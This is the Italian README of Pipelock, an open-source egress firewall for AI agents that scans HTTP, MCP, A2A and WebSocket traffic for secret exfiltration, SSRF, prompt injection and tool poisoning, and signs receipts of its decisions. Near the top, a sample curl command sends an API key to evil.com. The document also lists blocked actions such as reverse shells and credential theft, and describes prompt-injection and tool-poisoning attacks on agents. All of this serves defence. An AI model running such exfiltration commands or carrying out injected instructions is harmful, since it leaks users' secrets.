Firewall AI open-source per agenti che analizza il traffico HTTP, MCP, A2A e WebSocket per esfiltrazione, SSRF e injection di prompt, emettendo ricevute di azioni firmate verificabili per audit.
Firewall open-source per agenti AI per il Controllo di Egresso Verificabile.
Pipelock si frappone tra gli agenti AI e la rete. Ispeziona il traffico mediato HTTP, WebSocket, MCP e A2A, oltre ai contenuti dei tunnel CONNECT quando l'intercettazione TLS è abilitata, per rilevare esfiltrazione di segreti, injection di prompt, SSRF, avvelenamento degli strumenti e catene di chiamate a strumenti rischiose. Le connessioni CONNECT semplici senza intercettazione vengono scansionate a livello di hostname e URL.
Pipelock emette certificati di azione firmati dal mediatore per le decisioni di confine sensibili al contenuto, in modo che un revisore possa verificare cosa Pipelock ha deciso al di fuori del runtime dell'agente. Il corpus pubblico agent-egress-bench esercita i rilevamenti. Scopri di più: Firewall AI open-source.
Funziona con: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problema · Verifica · Avvio Rapido · In Azione · Blocchi · Funzionalità · Architettura · Documentazione · Playground · Blog · Chiedi a Dosu
Provalo nel tuo browser al playground live. Se Pipelock lo merita, metti una stella al repo così altri lo troveranno.
Il tuo agente AI ha $PROVIDER_API_KEY nel suo ambiente, oltre all'accesso alla shell. Una singola richiesta può diffonderlo:```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Ogni azione di macchina compiuta dal tuo agente dovrebbe attraversare un confine tra i tuoi segreti e Internet aperto. Pipelock diventa quel confine quando l'agente viene instradato attraverso il suo proxy, wrapper MCP, sandbox, modello di contenimento host o topologia di distribuzione cluster. Analizza il traffico in uscita e in entrata mediato, blocca o segnala attacchi in base alla modalità e registra prove firmate della decisione.
---
## Verifica di persona
La maggior parte degli strumenti di sicurezza per agenti ti chiede di fidarti della loro dashboard. Pipelock ti consegna una ricevuta firmata e ti permette di verificarla tu stesso, offline, con una chiave che possiedi. Nessun account e nessun server.
La demo integrata esegue scenari di attacco reali, li blocca e scrive sul disco ricevute firmate più la chiave pubblica, senza alcuna configurazione e senza rete:```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
La scheda di valutazione valuta ogni affermazione singolarmente e dichiara cosa non prova: se qualcosa è accaduto al di fuori del confine che Pipelock media. Sotto di essa, la cronologia delle ricevute elenca le decisioni mediate registrate con i loro verdetti e collegamenti hash. Una ricevuta onesta riguardo ai propri limiti batte un segno di spunta verde che li nasconde.
Il visualizzatore di prove è gratuito e non necessita di licenza:```bash pipelock evidence serve --receipt-dir ./out # read-only HTML report for one recorded session pipelock evidence view --receipt-dir ./out # static offline report, no server
Due note di onestà, dichiarate in anticipo. La demo firma con una chiave effimera che stampa per l'esecuzione, dimostrando che le ricevute sono auto-coerenti anziché legate a un'identità nominativa. Il playground pubblico di Pipelock è un percorso separato che verifica rispetto a una chiave pubblicata da Pipelock. E l'operatore che esegue Pipelock detiene la chiave di firma, quindi una ricevuta prova ciò che il confine ha deciso e che il possessore della chiave l'ha firmata, non che l'operatore sia onesto. `pipelock anchor receipts` registra i checkpoint della catena di ricevute su un backend locale o su un registro di trasparenza Rekor per audit successivi, e la verifica indipendente dall'operatore rispetto a quell'ancora è ancora in fase di dimostrazione end-to-end.
L'argomentazione completa del perché la prova batte le promesse si trova in [dimostrazione rispetto all'attestazione](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/demonstration-over-attestation.md).
---
## Quick Start```bash
# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
docker pull ghcr.io/luckypipewrench/pipelock:latest
brew install luckyPipewrench/tap/pipelock
</details>
<details>
<summary>Verifica l'integrità della release</summary>```bash
gh attestation verify pipelock_3.2.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.2.0 --owner luckyPipewrench
Release workflows pubblicano provenienza SLSA, SBOM CycloneDX, checksum e immagini di container firmate. Le build sorgente con go install producono un binario solo per la Community; gli artefatti di rilascio precompilati includono codice del livello a pagamento che si attiva con una chiave di licenza valida.
Il dashboard operator Pro/Enterprise (pipelock dashboard serve) è una console di sola lettura su prove firmate. Supporta autenticazione token, OIDC o mTLS; permessi RBAC limitati; viste di metadati oscurati; elevazione a vista grezza; registri del ciclo di vita delle esenzioni; backup e ripristino; certificati di copertura; e viste della flotta. È presente nelle build con tag enterprise e negli artefatti di rilascio con la funzionalità di licenza richiesta.
Il visualizzatore di prove gratuito per sessione singola mostrato sopra è separato. Non necessita di licenza e non ha enumerazione tra agenti.
pipelock report --input events.jsonl genera report HTML, JSON o bundle firmati con valutazione del rischio, linea temporale, categorie di eventi e un'appendice di prove. Il percorso gratuito con Prometheus e Grafana monitora un'istanza Pipelock ed è distinto dal piano di controllo della flotta Enterprise Conductor.
agent-egress-bench esegue un corpus di attacchi di esfiltrazione da agente e di injection di prompt contro Pipelock, o contro qualsiasi altro strumento. I numeri provengono da un'esecuzione che chiunque può ripetere, non da un'affermazione.
Pipelock funziona in tre modalità:
Per agenti che eseguono modelli non censurati o 'abliterati', il preset hostile-model (in configs/hostile-model.yaml) aggiunge difese alla modalità rigorosa: soglie di entropia aggressive, blocco generico degli strumenti di rete, binding di sessione, rilevamento di esfiltrazione tra richieste e un kill switch preconfigurato. pipelock audit raccomanda questo preset quando rileva toolchain note per la rimozione delle protezioni attraverso segnali di dipendenza.
Valutazione onesta: La modalità rigorosa blocca l'HTTP in uscita che attraversa Pipelock tranne i domini API in whitelist, quindi non esiste alcun canale di esfiltrazione attraverso il proxy stesso. La modalità bilanciata alza l'asticella da "un comando curl" a "attacco sofisticato pre-pianificato". La modalità audit ti dà visibilità che oggi non hai. Con la sandbox abilitata (
pipelock sandbox) o la topologia di contenimento host/cluster applicata, Pipelock aggiunge un confine OS o di distribuzione sopra l'ispezione dei contenuti. L'egress diretto deve ancora essere bloccato da quel confine per strumenti non cooperativi che ignorano le impostazioni del proxy.
Matrice di riferimento: docs/comparison.md
Hub di confronto canonico: Confronto sicurezza runtime AI
Pipelock è un proxy di egress AI e un controllo di sicurezza MCP. Si trova in linea tra il tuo agente AI e la rete, scansiona il traffico in uscita e in entrata, ed emette ricevute firmate più metadati di mediazione per l'attestazione al di fuori del runtime dell'agente. La valutazione dell'identità del carico di lavoro AARP/SVID è oggi lato verificatore: i runtime proxy e MCP non consumano prove SVID nelle decisioni live di allow/deny né legano l'identità dell'attore della ricevuta da un X.509-SVID.
block, strip, warn o ask.text/event-stream dai gateway LLM e il flusso MCP HTTP/SSE vengono scansionati token per token con DLP per evento e rolling cross-event e scansione delle injection. Un rilevamento termina lo stream in modalità fail-closed. Vedi Guida allo streaming SSE.Pipelock avvolge i server MCP con scansione bidirezionale:```bash
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
pipelock mcp proxy --upstream http://localhost:8080/mcp
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- **Scansione input:** le richieste del client MCP vengono verificate per perdite DLP e injection negli argomenti degli strumenti.
- **Scansione risposte:** le risposte del server vengono scansionate prima che l'agente le veda.
- **Avvelenamento degli strumenti:** le descrizioni di `tools/list` vengono verificate per istruzioni nascoste e cambiamenti improvvisi durante la sessione (rug-pull).
- **Politica degli strumenti:** 17 regole integrate bloccano eliminazioni distruttive di file, accesso alle credenziali, reverse shell, meccanismi di persistenza, esecuzione di comandi codificati e relative chiamate ad alto rischio prima dell'esecuzione.
- **Catene di chiamate degli strumenti:** 10 pattern integrati per asse di categoria rilevano catene di ricognizione, furto di credenziali, staging dei dati, persistenza, esfiltrazione e callback con tolleranza configurabile per i gap.
- **Ispezione A2A:** il traffico del protocollo Google Agent-to-Agent viene ispezionato sui percorsi forward e MCP; Pipelock non è un proxy A2A autonomo.
- **Listener HTTP MCP autenticati (v3.2.0):** i listener MCP non in loopback falliscono in modalità chiusa per impostazione predefinita e richiedono `--mcp-auth-token-file`, oppure un esplicito `--mcp-allow-unauthenticated` per distribuzioni isolate da policy di rete. I listener in loopback senza token rifiutano autorità Host di DNS-rebound e porta errata e rimuovono le credenziali del listener dalle intestazioni.
### Containment
Il contenimento dei processi non privilegiati utilizza primitive native del sistema operativo. Linux utilizza Landlock, seccomp e namespace di rete. macOS utilizza profili `sandbox-exec`. Nei container, `--best-effort` mantiene Landlock e seccomp quando la creazione dei namespace è limitata, mentre la scansione di rete utilizza routing basato su proxy.```bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
Il contenimento dell'host va oltre su Linux:```bash pipelock contain install pipelock contain verify pipelock contain run -- claude-code
`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` gestisce un modello a 3 UID operatore / proxy / agente con routing owner-match nftables, setup dei servizi systemd, comandi wrapper, ACL per workspace, aggiornamento CA ed evidenze di conformità. Vedi [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md).
### Evidenze e Ricevute
- **Registratore di volo:** registro delle evidenze JSONL con catena di hash, checkpoint firmati Ed25519 e oscuramento DLP. `pipelock init` alloca una directory del registratore e una chiave di firma per installazioni standard, mentre il registratore rimane inerte finché directory e chiave non esistono. Vedi [Registratore di volo](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md).
- **Ricevute di azione:** record firmati emessi per azioni mediate, contenenti verdetto, hash della policy, trasporto e layer di scansione. I blocchi producono ricevute; l'applicazione delle ricevute sul percorso allow richiede `flight_recorder.require_receipts`. Verifica con `pipelock verify-receipt --key <signer.pub>`. Le esecuzioni non bloccate sono solo strutturali e escono con codice non nullo a meno che non venga passato `--allow-unpinned`.
- **Busta di mediazione:** metadati sideband RFC 8941 su richieste HTTP inoltrate e MCP `_meta`, con tipo di azione, verdetto, identità dell'attore, hash della policy, contesto di contaminazione e ID di correlazione della ricevuta. Vedi [guida alla federazione](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md).
- **Conformità delle ricevute:** quattro implementazioni indipendenti del verificatore in più linguaggi
(Go, TypeScript, Rust e Python) eseguite su un unico
[corpus di conformità](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/conformance/), inclusi input malformati e falsificabili
come chiavi duplicate, overflow di interi e surrogati non accoppiati. Una superficie wasm per browser riutilizza l'implementazione Go del verificatore. La valutazione AARP/SVID rimane un profilo verificatore offline, non un'applicazione dell'identità a runtime.
- **Ancoraggi:** `pipelock anchor receipts` registra checkpoint della catena di ricevute su un backend locale o su Rekor. L'ancoraggio a Rekor costituisce materiale di prova per audit futuri; la verifica su Rekor richiede chiavi di log bloccate e il percorso completo di indipendenza dall'operatore è ancora in fase di dimostrazione.
- **Capsula di conformità:** `pipelock posture emit` e `pipelock posture verify` producono e verificano un'istantanea firmata dello stato di enforcement di un deployment, con un gate CI e un modello di punteggio, in modo che un revisore possa confermare che il perimetro fosse configurato come dichiarato.
### Flotta e Enterprise
- **Dashboard operatore:** `pipelock dashboard serve` è una console sola lettura su evidenze firmate. Pro sblocca le viste Panoramica, Evidenze, Esenzioni, Agenti, Budget, e Trust & Chiavi; Enterprise aggiunge le viste Flotta, Workbench e Incidenti. Vedi [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md).
- **Visualizzatore evidenze gratuito:** `pipelock evidence serve` e `pipelock evidence view` mostrano una singola sessione del registratore selezionata senza licenza o enumerazione cross-agente. `pipelock evidence verify-cert` verifica offline i certificati di copertura emessi da Pro.
- **Direttore d'orchestra:** piano di controllo della flotta Enterprise per distribuzione di bundle di policy firmati, sink di evidenze firmate (`pipelock fleet-sink`), registrazione, kill remoto, rollback, dry-run, replay delle decisioni e pre-check di deriva runtime/apply-state su mTLS/SPIFFE. I follower applicano localmente; la modalità predefinita per policy obsolete attiva una sorgente di rifiuto indipendente dopo la finestra di tolleranza, mentre l'override documentato `continue_last_known_good` indebolisce tale postura. Il direttore d'orchestra non possiede segreti dell'agente. Vedi la [guida al direttore d'orchestra](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md).
- **Conservazione legale:** `pipelock dashboard legal-hold add/list/release` gestisce le prescrizioni di conservazione come metadati di conformità, tenuti al di fuori dell'autorità HTTP della dashboard, quindi una dashboard compromessa può leggere le prescrizioni ma non forgiarle o cancellarle.
- **Baseline comportamentale:** profila-e-blocca per il comportamento degli strumenti MCP con `pipelock baseline list/show/ratify/forget` per approvazione e riapprendimento da parte dell'operatore. Vedi [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md).
### Operabilità
- **Interruttore di spegnimento:** sei sorgenti di attivazione indipendenti: file di configurazione, API remota, SIGUSR1, file sentinella, kill remoto del Direttore d'orchestra e rilevamento di bundle obsoleti. Qualsiasi sorgente attiva blocca il traffico, con eccezioni per endpoint e IP nel controller.
- **API di scansione:** scansione programmatica per verdetti `url`, `dlp`, `prompt_injection` e `tool_call` con autenticazione tramite bearer token, limitazione della frequenza per token, risultati strutturati e metriche Prometheus. Vedi [docs/scan-api.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md).
- **Sentinella del filesystem:** monitora le directory di lavoro degli agenti per segreti scritti su disco e attribuisce le scritture alla discendenza del sottoprocesso MCP su Linux. Vedi [docs/guides/filesystem-sentinel.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/filesystem-sentinel.md).
- **Emissione di eventi:** inoltra eventi di audit a SIEM, ricevitori webhook, syslog, CEF, OTLP e output di metriche senza bloccare il percorso caldo del proxy. Vedi [docs/guides/siem-integration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md).
- **Valutazione della sicurezza:** `pipelock assess init`, `pipelock assess run` e `pipelock assess finalize` orchestrano simulazioni di attacco, punteggio della configurazione, verifica dell'installazione e scoperta MCP in un bundle di evidenze riproducibile. Esposizioni critiche come server MCP non protetti limitano il voto indipendentemente dal punteggio numerico. Il riepilogo gratuito mostra il tuo voto, i punteggi delle sezioni e i risultati principali; una licenza sblocca il report completo con risultati specifici per server, comandi di remediation ed evidenze firmate Ed25519.
<details>
<summary>Altre funzionalità</summary>
| Funzionalità | Cosa fa |
|--------------|---------|
| **Report di audit** | `pipelock report --input events.jsonl` genera report HTML/JSON/bundle con valutazione del rischio, cronologia e appendice di evidenze. Firma Ed25519 con `--sign`. ([Report di esempio](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/sample-report.html)) |
| **Diagnostica** | `pipelock diagnose` esegue 7 controlli locali per verificare la tua configurazione end-to-end senza rete. |
| **Dottore dell'enforcement** (v2.5) | `pipelock doctor` segnala lo stato configurato vs applicabile per proxy, intercettazione TLS, scansione del corpo della richiesta, Browser Shield, wrapping MCP, integrità binaria MCP, provenienza degli strumenti, file_sentry, Sentry e segnali del perimetro di deployment. |
| **Blocco dell'iniezione nel corpo della richiesta** (v2.5) | Le rilevazioni di iniezione del prompt e DLP critico nel corpo della richiesta bloccano in modo rigido le destinazioni non provider in modalità enforce su trasporti forward, reverse, TLS-intercept e WebSocket, con intestazioni di motivo del blocco per la diagnostica visibile all'operatore. |
| **Policy delle richieste** (v2.6) | Binari allow-by-default deny/warn sulle operazioni API in uscita: corrispondenza della route più predicati di operazione GraphQL, ricorsione negli involucri JSON `$batch`, fallimento chiuso su corpi non analizzabili o opachi, esecuzione prima del gate contrattuale. Vedi la [guida alla policy delle richieste](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md). |
| **Intercettazione TLS** | MITM facoltativo del tunnel CONNECT: decifratura, scansione dei corpi/intestazioni/risposte, ricifratura. `pipelock tls init` genera un CA, quindi `pipelock tls install-ca` stampa i passaggi per l'installazione nel trust-store della piattaforma. |
| **Suggerimenti di blocco** | `explain_blocks: true` opzionale aggiunge suggerimenti di correzione alle risposte bloccate. |
| **Audit del progetto** | `pipelock audit ./project` scansiona per rischi di sicurezza e genera una configurazione su misura. |
| **Punteggio della configurazione** (v2.6) | `pipelock audit score --config pipelock.yaml` valuta la postura di sicurezza in 23 categorie con un budget di 170 punti e un voto in lettere. |
| **Integrità dei file** | I manifest SHA256 rilevano file modificati, aggiunti o rimossi nei workspace. |
| **Protezione Git** | `git diff | pipelock git scan-diff` intercetta i segreti prima del commit. |
| **Firma Ed25519** | Gestione delle chiavi, firma dei file e verifica della firma per la fiducia multi-agente. |
| **Profilazione delle sessioni** | Analisi comportamentale per sessione per burst di domini e picchi di volume. |
| **Enforcement adattivo** | Punteggio di minaccia per sessione con escalation da warn a block, timer di de-escalation e rilevamento di burst di domini. |
| **CLI operatore adattiva** (v2.5) | `pipelock adaptive status / flush / whoami` espone lo stato adattivo a runtime attraverso l'API admin autenticata. Vedi [`docs/cli/adaptive.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md). |
| **Soppressione dei risultati** | Silenzia falsi positivi noti tramite regole di configurazione o commenti inline `pipelock:ignore`. |
| **Supporto multi-agente** | Identificazione dell'agente tramite intestazione `X-Pipelock-Agent` per filtraggio per agente. |
| **Monitoraggio della flotta** | Metriche Prometheus per istanza più [dashboard Grafana](https://github.com/luckypipewrench/pipelock/blob/HEAD/configs/grafana-dashboard.json) pronta per l'importazione. Monitoraggio gratuito per singola istanza, distinto dal Direttore d'orchestra. |
| **Dashboard operatore** (v3.1, Pro/Enterprise) | `pipelock dashboard serve` offre le viste Panoramica, Evidenze, Esenzioni, Agenti, Budget, Trust & Chiavi, Flotta, Workbench e Incidenti in sola lettura con autenticazione token, OIDC o mTLS, RBAC limitato, elevazione a visualizzazione grezza, backup/ripristino, record del ciclo di vita delle esenzioni e certificati di copertura. Vedi [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md). |
| **Visualizzatore evidenze gratuito** (v3.1) | `pipelock evidence serve` serve una sessione del registratore selezionata come report HTML sola lettura senza licenza e senza enumerazione cross-agente. `pipelock evidence verify-cert` verifica offline i certificati di copertura emessi da Pro. |
| **Direttore d'orchestra: piano di controllo della flotta** (v2.7, Enterprise) | Distribuzione di bundle di policy firmati, sink di evidenze di audit firmate (`pipelock fleet-sink`), registrazione, kill remoto, rollback delle policy, dry-run, replay delle decisioni e pre-check di deriva runtime/apply-state su mTLS/SPIFFE. Gated dalla feature di licenza `fleet`; il comportamento per policy obsolete è esplicito e per impostazione predefinita nega in modo rigido. Vedi la [guida al direttore d'orchestra](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md). |
| **Scansione A2A** | Rilevamento di avvelenamento delle schede agente, monitoraggio della deriva delle schede e prevenzione del contrabbando di sessioni per il protocollo Agent-to-Agent di Google sui percorsi forward/MCP. |
| **Baseline comportamentale** | Profila-e-blocca per il comportamento degli strumenti MCP con `pipelock baseline list/show/ratify/forget` per approvazione e riapprendimento da parte dell'operatore. Vedi [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md). |
| **Denial-of-Wallet** | Budget MCP per agente per chiamate totali agli strumenti, tentativi ripetuti dello stesso strumento, rilevamento di loop/cicli e durata a muro. |
| **Escalation della contaminazione** | Escalation della policy basata sull'esposizione attraverso i confini MCP e delle attività fino al ripristino della fiducia. |
| **Busta di mediazione** | Metadati sideband RFC 8941 su richieste HTTP inoltrate e MCP `_meta`, con verifica in entrata, protezione dal replay, formato attore SPIFFE e directory di chiavi di firma RFC 9421. Vedi [guida alla federazione](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
| **Conformità delle ricevute** | Suite di verifica delle ricevute cross-implementazione (`sdk/conformance/`) attraverso implementazioni Go, TypeScript, Rust e Python indipendenti, più una superficie wasm per browser basata su Go. `EvidenceReceipt v2` utilizza la canonicalizzazione RFC 8785/JCS. La valutazione AARP/SVID rimane lato verificatore offline. |
| **Impara-e-Blocca** (v2.4) | Contratti comportamentali per agente: osserva il traffico, compila un contratto candidato firmato, riproduce le osservazioni catturate in shadow, ratifica per regola, promuove il manifesto attivo firmato e applica in tempo reale su trasporti URL e chiamate agli strumenti MCP. Vedi la [guida impara-e-blocca](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md). |
| **Intestazione motivo del blocco** (v2.4) | `X-Pipelock-Block-Reason` sui percorsi di blocco HTTP-capable, con lo stesso vocabolario di motivo sui metadati di errore JSON-RPC delle chiamate MCP. Vedi [intestazione motivo del blocco](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md). |
| **Watchdog rilevamento wedge** (v2.4) | `health_watchdog` restituisce `/health` 503 quando un battito cardiaco del sottosistema diventa obsoleto. Vedi [guida all'endpoint health](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md). |
| **Forma del plugin fornitore di oscuramento** (v2.4) | Parser di oscuramento di prima parte per le API chat di Anthropic, OpenAI e Gemini, con una forma di plugin fornitore per parser di terze parti. |
| **Schema Audit Packet v0 + Verificatori** (v2.5) | Schema Audit Packet canonico di prima parte con implementazioni dei verificatori in Go, TypeScript e Rust, più CLI standalone [`pipelock-verifier`](https://github.com/luckypipewrench/pipelock/blob/HEAD/cmd/pipelock-verifier/). Lo schema si trova sotto [`sdk/audit-packet/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/audit-packet/); i pacchetti dei verificatori sotto [`sdk/verifiers/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/verifiers/). |
| **Ciclo di vita del contenimento dell'host** (v2.5) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` gestisce il modello di contenimento a 3 UID. Vedi [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md). |
| **Manifesti di integrità MCP** (v2.5) | `pipelock mcp integrity manifest generate / verify / sign / verify-signature` blocca i binari/script del server MCP tramite hash e può richiedere una firma di manifesto attendibile prima del lancio del sottoprocesso. Vedi [`docs/cli/mcp-integrity.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md). |
| **Contratto di lancio MCP Kubernetes** (v2.5) | `pipelock init sidecar --mcp-upstream` emette la configurazione del listener compagno, la porta del servizio, le annotazioni del carico di lavoro, l'allowance NetworkPolicy, `PIPELOCK_MCP_PROXY_URL` e `PIPELOCK_MCP_CONFIG` montato. Vedi [`docs/cli/init-sidecar.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md). |
| **Modalità rigorosa di federazione** (v2.5) | La verifica della busta di mediazione in entrata richiede attori in formato SPIFFE per impostazione predefinita, le lapidi del contratto sono applicate e `pipelock envelope trust add/list/remove/verify` gestisce la fiducia locale. Vedi [guida alla federazione](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
| **Policy dei media** | Rimuove i metadati steganografici da JPEG/PNG, rifiuta audio/video per impostazione predefinita, indurisce il contenuto attivo SVG e applica limiti di dimensione delle immagini. Vedi [Policy dei media](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md). |
| **Mappature di conformità** | Mappature OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act e per procurement/audit. |
</details>
---
## Gratuito, Pro e Enterprise
Tutte le funzionalità di rilevamento, enforcement, contenimento ed evidenza per singolo agente sono gratuite per sempre con licenza Apache 2.0. I livelli a pagamento aggiungono coordinamento multi-agente (Pro) e governance della flotta più conformità (Enterprise).
| Capacità | Gratuito | Pro | Enterprise |
|----------|:--------:|:---:|:----------:|
| Scansione e rilevamento (pipeline URL ordinata, DLP, iniezione, SSRF, streaming SSE, oscuramento, protezione degli indirizzi) | Sì | Sì | Sì |
| Scansione MCP e A2A (input, risposta, policy degli strumenti, catena degli strumenti, avvelenamento, integrità, listener autenticati) | Sì | Sì | Sì |
| Contenimento, sandbox, contenimento host `contain`, interruttore di spegnimento a 6 sorgenti | Sì | Sì | Sì |
| Ricevute di azione, registratore di volo, ancoraggi, visualizzatore evidenze gratuito, `verify-cert`, verificatore standalone | Sì | Sì | Sì |
| Token canary, skill-scan, `explain`, Prometheus e Grafana per singola istanza | Sì | Sì | Sì |
| Profili per agente: identità, budget, isolamento della configurazione e dello scanner, sandbox per agente | No | Sì | Sì |
| Routing per agente per CIDR sorgente e selettore di rete | No | Sì | Sì |
| Dashboard operatore: Panoramica, Evidenze, Esenzioni, Agenti, Budget, Trust & Chiavi | No | Sì | Sì |
| Certificati di copertura per agente | No | Sì | Sì |
| Conservazione legale e metadati di conformità | No | Sì | Sì |
| Piano di controllo della flotta Direttore d'orchestra, sink di audit `fleet-sink`, kill remoto, rollback, replay delle decisioni, pre-check di deriva | No | No | Sì |
| Registrazione follower mTLS e distribuzione di policy firmata verificata tramite registro | No | No | Sì |
| Viste della flotta della dashboard: Flotta, Workbench, Incidente | No | No | Sì |
Il report firmato di `pipelock assess` è un'autorizzazione `assess` separata, indipendente da Pro ed Enterprise. Il voto gratuito dell'assess rimane invariato.
---
## Come funziona
Pipelock utilizza la **separazione delle capacità**: in un deployment enforce, il processo agente possiede segreti ma non ha accesso diretto alla rete. Pipelock ha accesso alla rete ma nessun segreto dell'agente. Anche se l'agente subisce un'iniezione del prompt, non può raggiungere i controlli del firewall.
Tre modalità proxy HTTP (stessa porta), più un proxy MCP dedicato e ispezione A2A sui percorsi forward e MCP:
- **Proxy Fetch** (`/fetch?url=...`): Recupera l'URL, estrae il testo, scansiona per iniezioni, restituisce contenuto pulito.
- **Proxy Forward** (`HTTPS_PROXY`): Tunnel HTTP CONNECT standard senza modifiche al codice dell'applicazione. È comunque richiesta la configurazione del proxy. L'intercettazione TLS opzionale abilita la scansione del payload.
- **Proxy WebSocket** (`/ws?url=ws://...`): Scansione bidirezionale dei frame con rilevamento DLP + iniezione.
- **Proxy MCP** (`pipelock mcp proxy`): Avvolge server MCP stdio o HTTP con scansione bidirezionale.
- **Ispezione A2A**: Ispeziona il traffico del protocollo Agent-to-Agent di Google mentre attraversa i percorsi forward e MCP.
<details>
<summary>Diagramma testuale (per terminali)</summary>```
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
Genera una configurazione da un preset integrato, oppure lascia che pipelock audit ne personalizzi una per il tuo progetto:```bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| CLI Preset | Mode | Action | Best For |
|------------|------|--------|----------|
| `balanced` | balanced | warn | General purpose (default) |
| `strict` | strict | block | High-security, regulated industries |
| `audit` | audit | warn | Log-only evaluation |
| `claude-code` | balanced | block | Claude Code unattended |
| `cursor` | balanced | block | Cursor IDE |
| `generic-agent` | balanced | warn | New agents during tuning |
| `hostile-model` | strict | block | Uncensored/abliterated models |
Le modifiche alla configurazione vengono rilevate tramite file watcher o SIGHUP. Riferimento completo: **[docs/configuration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md)**
Per la messa a punto dei falsi positivi: **[docs/false-positive-tuning.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md)**
---
## Guide all'Integrazione
- **[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md):** Configurazione del proxy MCP, configurazione `.claude.json`
- **[OpenAI Codex](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/codex.md):** Wrapping del proxy MCP, proxy forward, integrazione sandbox
- **[Cline](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/cline.md):** Wrapping del proxy MCP per il `mcp.json` di Cline
- **[OpenCode](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/opencode.md):** Wrapping del proxy MCP per i server MCP locali e remoti di OpenCode
- **[Zed](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/zed.md):** Wrapping del proxy MCP per il blocco `context_servers` di Zed in `settings.json`
- **[OpenAI Agents SDK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openai-agents.md):** `MCPServerStdio`, passaggi multi-agente
- **[Google ADK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/google-adk.md):** `McpToolset`, `StdioConnectionParams`
